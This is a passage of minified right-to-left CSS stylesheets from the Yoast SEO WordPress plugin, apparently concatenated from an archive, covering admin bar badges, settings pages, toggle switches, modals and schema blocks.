#wp-admin-bar-wpseo-menu-default li#wp-admin-bar-wpseo-get-premium span{background:#1f2937;border:1px solid #fcd34d;border-radius:14px;color:#fcd34d;font-size:13px;font-weight:600;padding:1px 4px}#wpadminbar .yoast-menu-bf-sale-badge{text-wrap:nowrap;background-color:#1f2937;border:1px solid #fcd34d;border-radius:8px;color:#fcd34d;font-size:10px;font-weight:600;line-height:normal;margin-left:5px;padding:2px 8px}#wpadminbar .quicklinks #wp-admin-bar-wpseo-menu .wpseo-focus-keyword{display:inline-block!important;max-width:100px!important;overflow:hidden;text-overflow:ellipsis!important;vertical-align:bottom;white-space:nowrap}#wpadminbar .yoast-badge{border-radius:8px;display:inline-block;font-weight:600;line-height:1.6;margin-left:4px;padding:0 8px}#wpadminbar .yoast-beta-badge{background-color:#cce5ff;color:#004973}#wpadminbar .yoast-premium-badge{background-color:#fff3cd;color:#674e00}#wpadminbar .yoast-issue-added,#wpadminbar .yoast-issue-added:hover{background-color:#a4286a;border-radius:0 10px 10px 10px;box-shadow:1px 1px 1px 1px grey;color:#fff;left:0;padding:2px 12px;position:absolute;top:32px;white-space:nowrap}#wpadminbar .yoast-issue-added{display:none}#wpadminbar .yoast-issue-counter{background-color:#d63638;border-radius:9px;color:#fff;display:inline;padding:1px 7px 1px 6px!important}#wpadminbar .yoast-logo.svg{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbDpzcGFjZT0icHJlc2VydmUiIHN0eWxlPSJmaWxsOiM4Mjg3OGMiIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjAzLjYgMzk1YzYuOC0xNy40IDYuOC0zNi42IDAtNTRsLTc5LjQtMjA0aDcwLjlsNDcuNyAxNDkuNCA3NC44LTIwNy42SDExNi40Yy00MS44IDAtNzYgMzQuMi03NiA3NlYzNTdjMCA0MS44IDM0LjIgNzYgNzYgNzZIMTczYzE2LTguOSAyNC42LTIyLjcgMzAuNi0zOHpNNDcxLjYgMTU0LjhjMC00MS44LTM0LjItNzYtNzYtNzZoLTNMMjg1LjcgMzY1Yy05LjYgMjYuNy0xOS40IDQ5LjMtMzAuMyA2OGgyMTYuMlYxNTQuOHoiLz48cGF0aCBkPSJtMzM4IDEuMy05My4zIDI1OS4xLTQyLjEtMTMxLjloLTg5LjFsODMuOCAyMTUuMmM2IDE1LjUgNiAzMi41IDAgNDgtNy40IDE5LTE5IDM3LjMtNTMgNDEuOWwtNy4yIDF2NzZoOC4zYzgxLjcgMCAxMTguOS01Ny4yIDE0OS42LTE0Mi45TDQzMS42IDEuM0gzMzh6TTI3OS40IDM2MmMtMzIuOSA5Mi02Ny42IDEyOC43LTEyNS43IDEzMS44di00NWMzNy41LTcuNSA1MS4zLTMxIDU5LjEtNTEuMSA3LjUtMTkuMyA3LjUtNDAuNyAwLTYwbC03NS0xOTIuN2g1Mi44bDUzLjMgMTY2LjggMTA1LjktMjk0aDU4LjFMMjc5LjQgMzYyeiIvPjwvc3ZnPg==");background-position:0 6px;background-repeat:no-repeat;background-size:20px;float:left;height:30px;width:26px}#wpadminbar #wp-admin-bar-wpseo-licenses .ab-item{color:#f18500}#wpadminbar .wpseo-no-adminbar-notifications{display:none}@media screen and (max-width:782px){#wp-admin-bar-wpseo-menu .wpseo-score-icon{margin:16px 10px 0 2px!important}#wpadminbar #wp-admin-bar-wpseo-menu{display:block;position:static}#wpadminbar .yoast-logo.svg{background-position:50% 8px;background-size:30px;height:46px;width:52px}#wpadminbar .yoast-logo+.yoast-issue-counter{margin-left:-5px;margin-right:10px}#wpadminbar .ab-sub-wrapper .yoast-issue-counter{position:relative;top:-5px;vertical-align:text-top}#wpadminbar .yoast-issue-added,#wpadminbar .yoast-issue-added:hover{line-height:1.8;top:46px;white-space:normal}#wp-admin-bar-wpseo-menu.menupop .ab-sub-wrapper #wp-admin-bar-wpseo-kwresearch,#wp-admin-bar-wpseo-menu.menupop .ab-sub-wrapper #wp-admin-bar-wpseo-settings{display:none}}wordpress-seo/css/dist/new-settings-2420-rtl.css000064400000020663147510273070015455 0ustar00body.seo_page_wpseo_page_settings{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}body.seo_page_wpseo_page_settings #wpcontent{padding-right:0!important}body.seo_page_wpseo_page_settings #wpfooter{padding-left:1rem}@media (min-width:768px){body.seo_page_wpseo_page_settings #wpfooter{padding-right:17rem;padding-left:2rem}}@media screen and (max-width:782px){body.seo_page_wpseo_page_settings .wp-responsive-open #wpbody{left:-190px}}body.seo_page_wpseo_page_settings #modal-search .yst-modal__close{margin-top:-.25rem}@media (min-width:783px) and (max-width:962px){body.seo_page_wpseo_page_settings.sticky-menu .yst-root .yst-notifications--bottom-left{right:calc(160px + 2rem)}}@media (min-width:783px) and (max-width:963px){body.seo_page_wpseo_page_settings.sticky-menu.auto-fold .yst-root .yst-notifications--bottom-left,body.seo_page_wpseo_page_settings.sticky-menu.folded .yst-root .yst-notifications--bottom-left{right:calc(32px + 2rem)}}@media (min-width:962px){body.seo_page_wpseo_page_settings.sticky-menu.folded .yst-root .yst-notifications--bottom-left{right:calc(32px + 2rem)}}@media (max-width:783px){body.seo_page_wpseo_page_settings:not(.sticky-menu) .wp-responsive-open .yst-root .yst-notifications--bottom-left{right:calc(190px + 2rem)}}body.seo_page_wpseo_page_settings .yst-root .yst-notifications{max-height:calc(100% - 4rem - 32px)}@media (max-width:782px){body.seo_page_wpseo_page_settings .yst-root .yst-notifications{max-height:calc(100% - 4rem - 48px)}}body.seo_page_wpseo_page_settings .yst-root .yst-notifications--bottom-left{z-index:9991}@media (min-width:783px){body.seo_page_wpseo_page_settings .yst-root .yst-notifications--bottom-left{right:calc(160px + 2rem)}}@media (min-width:601px) and (max-width:768px){body.seo_page_wpseo_page_settings .yst-root .yst-mobile-navigation__top{top:46px}}@media (min-width:783px){body.seo_page_wpseo_page_settings .yst-root .yst-mobile-navigation__top{display:none}}body.seo_page_wpseo_page_settings .yst-root .yst-mobile-navigation__dialog{z-index:99999}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar{position:relative}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar .emoji-select-popover{right:0;left:auto;z-index:20}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .emoji-select-button,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__editor,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__label{opacity:.5}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .emoji-select-button,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__button-insert,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__editor,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__label{cursor:not-allowed}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .emoji-select-button{pointer-events:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__label{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));display:flex;font-size:.8125rem;font-weight:500;margin-bottom:.5rem}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__buttons{display:inline-flex;gap:.375rem}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);align-items:center;border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);cursor:pointer;display:inline-flex;font-size:.8125rem;font-weight:500;line-height:1rem;margin-bottom:.5rem;padding:.5rem .75rem;-webkit-text-decoration-line:none;text-decoration-line:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert:disabled{cursor:not-allowed;opacity:.5;pointer-events:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert:hover{--tw-bg-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.375rem;border-width:1px;color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;line-height:1.5rem;padding:.5rem .75rem;width:100%}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor::placeholder{--tw-placeholder-opacity:1;color:rgb(100 116 139/var(--tw-placeholder-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor:focus-within{--tw-border-opacity:0;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden]{--tw-bg-opacity:1;--tw-shadow:0 10px 15px -3px #0000001a,0 4px 6px -4px #0000001a;--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color),0 4px 6px -4px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-color:rgb(0 0 0/var(--tw-ring-opacity));--tw-ring-opacity:0.05;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);padding-bottom:.25rem;padding-top:.25rem;width:14rem;z-index:20}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden]:focus{outline:2px solid #0000;outline-offset:2px}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden] div>div{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));cursor:pointer;display:block;font-size:.8125rem;padding:.5rem 1rem;-webkit-text-decoration-line:none;text-decoration-line:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden] div>div:hover,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden] div>div[aria-selected]{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--description .yst-replacevar__editor{min-height:5rem}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__mention{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:9999px;color:rgb(15 23 42/var(--tw-text-opacity));display:inline-block;font-size:.75rem;font-weight:500;line-height:1.25;margin-right:.125rem;margin-left:.125rem;padding:.125rem .5rem}body.seo_page_wpseo_page_settings.rtl .yst-root .yst-replacevar .emoji-select-popover{right:0;left:auto}wordpress-seo/css/dist/toggle-switch-2420-rtl.css000064400000020763147510273070015607 0ustar00.switch-light span span,.switch-toggle a{display:none}@media only screen{.switch-light,.switch-toggle{display:block;padding:0!important;position:relative}.switch-light:after,.switch-toggle:after{clear:both;content:"";display:table}.switch-light *,.switch-light :after,.switch-light :before,.switch-toggle *,.switch-toggle :after,.switch-toggle :before{box-sizing:border-box}.switch-light a,.switch-toggle a{display:block;transition:all .2s ease-out}.switch-light label,.switch-light-visual-label,.switch-light>span,.switch-toggle label,.switch-toggle>span{line-height:2;vertical-align:middle}.switch-light input{opacity:0;position:absolute;z-index:3}.switch-light input[type=checkbox].disabled,.switch-light input[type=checkbox].disabled:checked:before,.switch-light input[type=checkbox]:disabled,.switch-light input[type=checkbox]:disabled:checked:before{opacity:0}.switch-light input:checked~span a{left:0}.switch-light strong{font-weight:inherit}.switch-light>span{min-height:2em;padding:0;position:relative;text-align:right}.switch-light span span{display:block;float:right;position:relative;text-align:center;-webkit-user-select:none;user-select:none;width:50%;z-index:2}.switch-light a{display:block;height:100%;padding:0;position:absolute;left:50%;top:0;width:50%;z-index:1}.switch-toggle input{right:0;opacity:0;position:absolute}.switch-toggle input[type=radio].disabled,.switch-toggle input[type=radio].disabled:checked:before,.switch-toggle input[type=radio]:disabled,.switch-toggle input[type=radio]:disabled:checked:before{opacity:0}.switch-toggle input+label{float:right;margin:0;padding:0 .5em;text-align:center}.switch-toggle input:checked+label{position:relative;z-index:2}.switch-toggle a{height:100%;right:0;padding:0;position:absolute;top:0;width:10px;z-index:1}.switch-toggle .yoast-button-upsell{right:20px;position:relative}.switch-toggle label:nth-child(2):nth-last-child(4),.switch-toggle label:nth-child(2):nth-last-child(4)~a,.switch-toggle label:nth-child(2):nth-last-child(4)~label{width:50%}.switch-toggle label:nth-child(2):nth-last-child(4)~input:checked:nth-child(3)+label~a{right:50%}.switch-toggle label:nth-child(2):nth-last-child(6),.switch-toggle label:nth-child(2):nth-last-child(6)~a,.switch-toggle label:nth-child(2):nth-last-child(6)~label{width:33.33%}.switch-toggle label:nth-child(2):nth-last-child(6)~input:checked:nth-child(3)+label~a{right:33.33%}.switch-toggle label:nth-child(2):nth-last-child(6)~input:checked:nth-child(5)+label~a{right:66.66%}.switch-toggle label:nth-child(2):nth-last-child(8),.switch-toggle label:nth-child(2):nth-last-child(8)~a,.switch-toggle label:nth-child(2):nth-last-child(8)~label{width:25%}.switch-toggle label:nth-child(2):nth-last-child(8)~input:checked:nth-child(3)+label~a{right:25%}.switch-toggle label:nth-child(2):nth-last-child(8)~input:checked:nth-child(5)+label~a{right:50%}.switch-toggle label:nth-child(2):nth-last-child(8)~input:checked:nth-child(7)+label~a{right:75%}.switch-toggle label:nth-child(2):nth-last-child(10),.switch-toggle label:nth-child(2):nth-last-child(10)~a,.switch-toggle label:nth-child(2):nth-last-child(10)~label{width:20%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(3)+label~a{right:20%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(5)+label~a{right:40%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(7)+label~a{right:60%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(9)+label~a{right:80%}.switch-toggle label:nth-child(2):nth-last-child(12),.switch-toggle label:nth-child(2):nth-last-child(12)~a,.switch-toggle label:nth-child(2):nth-last-child(12)~label{width:16.6%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(3)+label~a{right:16.6%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(5)+label~a{right:33.2%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(7)+label~a{right:49.8%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(9)+label~a{right:66.4%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(11)+label~a{right:83%}.switch-candy a{box-shadow:0 1px 1px #0003,inset 0 1px 1px #ffffff73}}@media only screen and (-webkit-max-device-pixel-ratio:2) and (max-device-width:80em){.switch-light,.switch-toggle{-webkit-animation:webkitSiblingBugfix 1s infinite}}.fieldset-switch-toggle{width:400px}.fieldset-switch-toggle label{float:none}.fieldset-switch-toggle .yoast-button-upsell{background-color:green;height:16px;overflow:hidden;width:20px}@media only screen{.fieldset-switch-toggle legend{box-sizing:border-box;float:right;font-weight:600;line-height:2;margin:8px 0;min-width:200px;padding-left:16px;vertical-align:middle}.fieldset-switch-toggle .disabled-note{clear:both}.switch-container__has-help .switch-light-visual-label,.switch-container__has-help legend{float:right;min-width:0;padding-left:0}.switch-container__has-help .yoast_help.yoast-help-button{margin:8px 2px 0 0}.switch-light.switch-yoast-seo>span,.switch-toggle.switch-yoast-seo{background-color:#dcdcdc;border:1px solid #ccc;border-radius:.5em;box-shadow:inset 0 2px 4px #00000026;width:250px}.switch-light.switch-yoast-seo,.switch-toggle.switch-yoast-seo{clear:both;float:right}.switch-light.switch-yoast-seo>span{display:inline-block;overflow:visible}.switch-light.switch-yoast-seo a,.switch-toggle.switch-yoast-seo a{background:#a4286a;border:1px solid #b5b5b5;border-radius:.5em}.switch-light.switch-yoast-seo input.disabled+span a,.switch-light.switch-yoast-seo input.disabled:checked+span a,.switch-light.switch-yoast-seo input:disabled+span a,.switch-light.switch-yoast-seo input:disabled:checked+span a,.switch-toggle.switch-yoast-seo input.disabled+a,.switch-toggle.switch-yoast-seo input.disabled~a,.switch-toggle.switch-yoast-seo input:disabled+a,.switch-toggle.switch-yoast-seo input:disabled~a{background:#9b9b9b;border:0}.switch-light.switch-yoast-seo input:focus+label,.switch-light.switch-yoast-seo input:focus~span a,.switch-toggle.switch-yoast-seo input:focus+label,.switch-toggle.switch-yoast-seo input:focus~span a{outline:none}.switch-light.switch-yoast-seo input:focus~span a,.switch-toggle.switch-yoast-seo input:focus~a{border-color:#5b9dd9!important;box-shadow:0 0 2px #0073aacc!important}.switch-light.switch-yoast-seo input:checked~span a,.switch-toggle.switch-yoast-seo input:checked~span a{background:#a4286a;border:1px solid #b5b5b5}.switch-light.switch-yoast-seo input:checked~span span:first-child,.switch-light.switch-yoast-seo span span,.switch-toggle.switch-yoast-seo label{color:#333;font-weight:inherit;text-shadow:none}.switch-candy.switch-yoast-seo input:checked+label,.switch-candy.switch-yoast-seo input:checked~span span:nth-child(2),.switch-candy.switch-yoast-seo input~span span:first-child{color:#fff;text-shadow:none}.switch-candy.switch-yoast-seo input+label:after{content:"";display:block;height:100%;right:0;position:absolute;top:0;width:100%;z-index:3}.switch-candy.switch-yoast-seo input:checked+label:after{content:none}.switch-light.switch-yoast-seo-reverse input:checked~span a{right:0}.switch-light.switch-yoast-seo-reverse a{right:50%}.switch-light.switch-yoast-seo-reverse span span{float:left}.switch-toggle.switch-yoast-seo label,label.switch-light.switch-yoast-seo{cursor:pointer;margin-right:0}.switch-light.switch-yoast-seo input.disabled+span,.switch-light.switch-yoast-seo input:disabled+span,.switch-toggle.switch-yoast-seo input.disabled+label,.switch-toggle.switch-yoast-seo input:disabled+label{cursor:not-allowed}.switch-yoast-seo .switch-yoast-seo-jaws-a11y{display:block;height:1px;margin-bottom:-1px;overflow:hidden}.switch-light.switch-yoast-seo label code,.switch-toggle.switch-yoast-seo label code{background-color:inherit;vertical-align:top}.switch-light-visual-label{display:block;font-weight:600;line-height:2;margin:8px 0}.switch-light-visual-label__strong{font-weight:600}.switch-container{clear:both;margin:0 0 .8em}.switch-container.premium-upsell .clear{display:none}.switch-container.premium-upsell{align-items:end;clear:both;display:grid;grid-template-columns:280px 1fr;margin:0 0 .8em}.switch-container.premium-upsell .yoast-help-panel{width:520px}@media screen and (max-width:600px){.switch-container.premium-upsell{clear:both;display:grid;grid-template-columns:1fr;margin:0 0 .8em}.switch-container.premium-upsell .yoast-help-panel{width:unset}}.switch-container.premium-upsell .yoast-button{clear:both;margin-top:8px;width:-moz-fit-content;width:fit-content}.switch-container+.switch-container{margin-top:8px}.switch-container+p{margin:0 0 16px}}wordpress-seo/css/dist/modal-2420-rtl.css000064400000017554147510273070014127 0ustar00.yoast-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#a4286a99;bottom:0;right:0;position:fixed;left:0;top:0;z-index:100000}.yoast-modal{background:#fff;bottom:48px;display:flex;flex-direction:column;height:calc(100% - 96px);right:calc(50% - 440px);max-width:880px;overflow:hidden;position:fixed;top:48px;width:100%}.yoast-gutenberg-modal .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-left:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.yoast-tabs .yoast-modal__content{display:grid;grid-template-areas:"heading heading" "menu content" "menu footer";grid-template-columns:280px 1fr;grid-template-rows:72px 1fr 88px}.yoast-modal__heading{align-items:center;background:var(--yoast-color-white);border-bottom:var(--yoast-border-default);box-sizing:border-box;display:flex;grid-area:heading;min-height:72px;padding:0 24px}.yoast-modal__heading .yoast-close{position:absolute;left:16px}.yoast-gutenberg-modal__box.components-modal__frame{box-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a}@media (min-width:600px){.yoast-gutenberg-modal__box.components-modal__frame{border-radius:8px;max-height:calc(100% - 48px)}}.yoast-gutenberg-modal__no-padding .components-modal__content{padding:0}.yoast-gutenberg-modal .components-modal__header-heading,.yoast-modal__heading h1{color:var(--yoast-color-primary);font-size:20px;font-weight:400;line-height:1.2;margin:0}.yoast-gutenberg-modal .components-modal__content .components-modal__header{border-bottom:1px solid #e2e8f0!important}.yoast-gutenberg-modal .components-modal__icon-container{display:inline-flex}.yoast-gutenberg-modal .components-modal__icon-container svg,.yoast-modal__heading-icon{fill:var(--yoast-color-primary);flex-shrink:0;height:20px;margin-left:16px;width:19px}.yoast-modal__menu{border-left:var(--yoast-border-default);grid-area:menu;overflow-y:auto}.yoast-modal__menu ul{list-style:none;margin:0;padding:0}.yoast-modal__menu li{border-bottom:var(--yoast-border-default);color:var(--yoast-color-default);cursor:pointer;display:block;font-size:16px;padding:12px 16px 11px;text-decoration:none}.yoast-modal__menu li:hover{background-color:#edd4e1}.yoast-modal__menu li.yoast-tabs__tab--selected{background-color:var(--yoast-color-primary);border-bottom:var(--yoast-border-default);color:#fff}.yoast-modal__content,.yoast-modal__section{display:flex;flex-direction:column;flex-grow:1;grid-area:content;overflow-y:auto;position:relative}.yoast-modal__section *{max-width:600px}.yoast-modal__section-header{background:var(--yoast-color-white);padding:24px 24px 0;position:sticky;top:0;z-index:10}.yoast-modal__section .yoast-h2{border-bottom:var(--yoast-border-default);padding-bottom:24px}.yoast-modal__footer{align-items:center;align-self:flex-end;background:var(--yoast-color-white);border-top:var(--yoast-border-default);bottom:0;box-sizing:border-box;display:flex;grid-area:footer;justify-content:flex-end;margin:0 24px;min-height:88px;padding:0;position:sticky;width:calc(100% - 48px);z-index:10}.yoast-modal__settings-saved{align-items:center;display:inline-flex;margin-left:16px;position:relative}.yoast-modal__settings-saved:before{background:var(--yoast-checkmark--green) no-repeat center;content:"";display:inline-block;height:13px;margin-left:8px;width:14px}.yoast-modal__footer .yoast-button{display:block}.yoast-modal__section-content{flex-grow:1;padding:24px}@media screen and (max-width:880px){.yoast-modal{bottom:0;height:auto;right:0;left:0;top:0}}@media screen and (max-width:782px){.yoast-modal{overflow-y:initial}.yoast-modal.yoast-modal-collapsible{padding-bottom:72px}.yoast-tabs .yoast-modal__content{grid-template-rows:48px 1fr 72px}.yoast-modal__heading{min-height:48px;padding:0 16px;position:fixed;top:0;width:100%;z-index:11}.yoast-modal__heading h1{font-size:var(--yoast-font-size-default)}.yoast-close svg{width:10px}.yoast-modal__heading-icon{height:15px;margin-left:8px}.yoast .yoast-close{left:3px}.yoast-modal__heading .yoast-h2{font-size:var(--yoast-font-size-default)}.yoast-modal__section{flex-grow:0;overflow:initial}.yoast-modal__section-content{margin:0 16px;padding:24px 0}.yoast-modal__section:first-of-type{margin-top:48px}.yoast-modal__section:last-of-type{margin-bottom:72px}.yoast-modal__section-header{margin:0;padding:0;position:sticky;top:48px}.yoast-modal__section-open .yoast-modal__section-header{margin-right:16px;margin-left:16px;padding-right:0;padding-left:0}.yoast-modal__section-open{border-bottom:var(--yoast-border-default)}.yoast-modal__footer{margin:0;min-height:72px;padding:0 16px;position:fixed;width:100%;z-index:11}.yoast-modal-collapsible .yoast-modal__footer{min-height:72px}.yoast-modal-collapsible .yoast-modal__section-content{border-bottom:var(--yoast-border-default);margin:0;padding:24px 16px}.yoast-collapsible__hidden{display:none}.yoast-collapsible__trigger{background:#fff;border:none;border-bottom:var(--yoast-border-default);color:var(--yoast-color-primary);cursor:pointer;font-size:var(--yoast-font-size-default);justify-content:space-between;padding:16px;text-align:right;width:100%}.yoast-collapsible__trigger[aria-expanded=true] .yoast-collapsible__icon{transform:rotate(-180deg)}.yoast-collapsible__trigger[aria-expanded=true]{margin:0 16px;padding:16px 0;width:calc(100% - 32px)}.yoast-collapsible__icon{background-color:var(--yoast-color-white);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 8' fill='%23404040'%3E%3Cpath d='M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:10px auto;border:none;display:block;float:left;height:19px;width:19px}.yoast-collapsible-block{margin-top:48px;width:100%}.yoast-collapsible-block+.yoast-collapsible-block{margin-top:0}}.yoast-post-settings-modal{height:100%;max-height:calc(100% - 96px);max-width:calc(100% - 96px);overflow:hidden;width:880px}.yoast-modal-content{padding:16px}@media (min-width:782px){.yoast-modal-content--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}}.yoast-post-settings-modal__button-container{border-bottom:1px solid #0003;display:flex;flex-direction:column;padding:16px}.yoast-post-settings-modal .components-modal__content{display:flex;flex-direction:column;padding:0}.yoast-post-settings-modal .components-modal__header{border-bottom:var(--yoast-border-default);flex-shrink:0;margin:0}.yoast-post-settings-modal .yoast-notice-container{bottom:0;right:0;margin-top:auto;position:sticky;width:100%;z-index:1}.yoast-post-settings-modal .components-modal__content>div:not([class]):not([class=""]){display:flex;flex-direction:column;overflow:hidden}.yoast-post-settings-modal .yoast-notice-container>hr{margin-bottom:0;margin-top:-1px}.yoast-post-settings-modal .yoast-content-container{flex-grow:1;overflow-y:auto}.yoast-post-settings-modal .yoast-button-container{display:flex;flex-direction:row;justify-content:flex-end;margin:0;padding:24px}.yoast-post-settings-modal .yoast-button-container p{align-self:center;color:var(--yoast-color-label-help);padding-left:24px}.yoast-post-settings-modal .yoast-button-container button{align-self:center;flex-shrink:0;max-height:45px}@media only screen and (max-width:600px){.yoast-post-settings-modal{max-height:100%;max-width:100%}.yoast-post-settings-modal .yoast-button-container{justify-content:space-between;padding:16px}.yoast-post-settings-modal .yoast-button-container p{padding-left:0}}.yoast-related-keyphrases-modal,.yoast-wincher-seo-performance-modal{max-width:712px}.yoast-wincher-seo-performance-modal__content{padding:25px 32px 32px}#yoast-get-related-keyphrases-metabox,#yoast-get-related-keyphrases-sidebar{margin-top:8px}.yoast-gutenberg-modal .yoast-related-keyphrases-modal__content{min-height:66vh;position:relative}.yoast-related-keyphrases-modal__chart{display:block}wordpress-seo/css/dist/structured-data-blocks-2420-rtl.css000064400000006672147510273070017420 0ustar00.schema-faq-section,.schema-how-to-step{border:1px solid #9197a240;list-style-type:none;margin:4px 0;padding:8px 32px 8px 4px;position:relative}.schema-faq-buttons,.schema-how-to-buttons{display:flex;justify-content:center}.schema-faq-buttons button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover,.schema-how-to-buttons button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover{box-shadow:none;color:#007cba}.schema-faq-section-mover,.schema-how-to-step-mover{display:inline-block}.schema-faq-section-mover .editor-block-mover__control,.schema-how-to-step-mover .editor-block-mover__control{display:inline-flex;height:36px;width:36px}.schema-faq-question,.schema-how-to-step-name{font-weight:600}.schema-faq .schema-faq-answer,.schema-faq .schema-faq-question,.schema-how-to .schema-how-to-description,.schema-how-to .schema-how-to-step-name,.schema-how-to .schema-how-to-step-text,.schema-how-to .schema-how-to-steps{line-height:inherit;margin:0}.schema-how-to .schema-how-to-steps{padding-top:0}.schema-faq-section-button-container,.schema-how-to-step-button-container{display:inline-flex;text-align:left}.schema-faq-section-button-container button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover,.schema-how-to-step-button-container 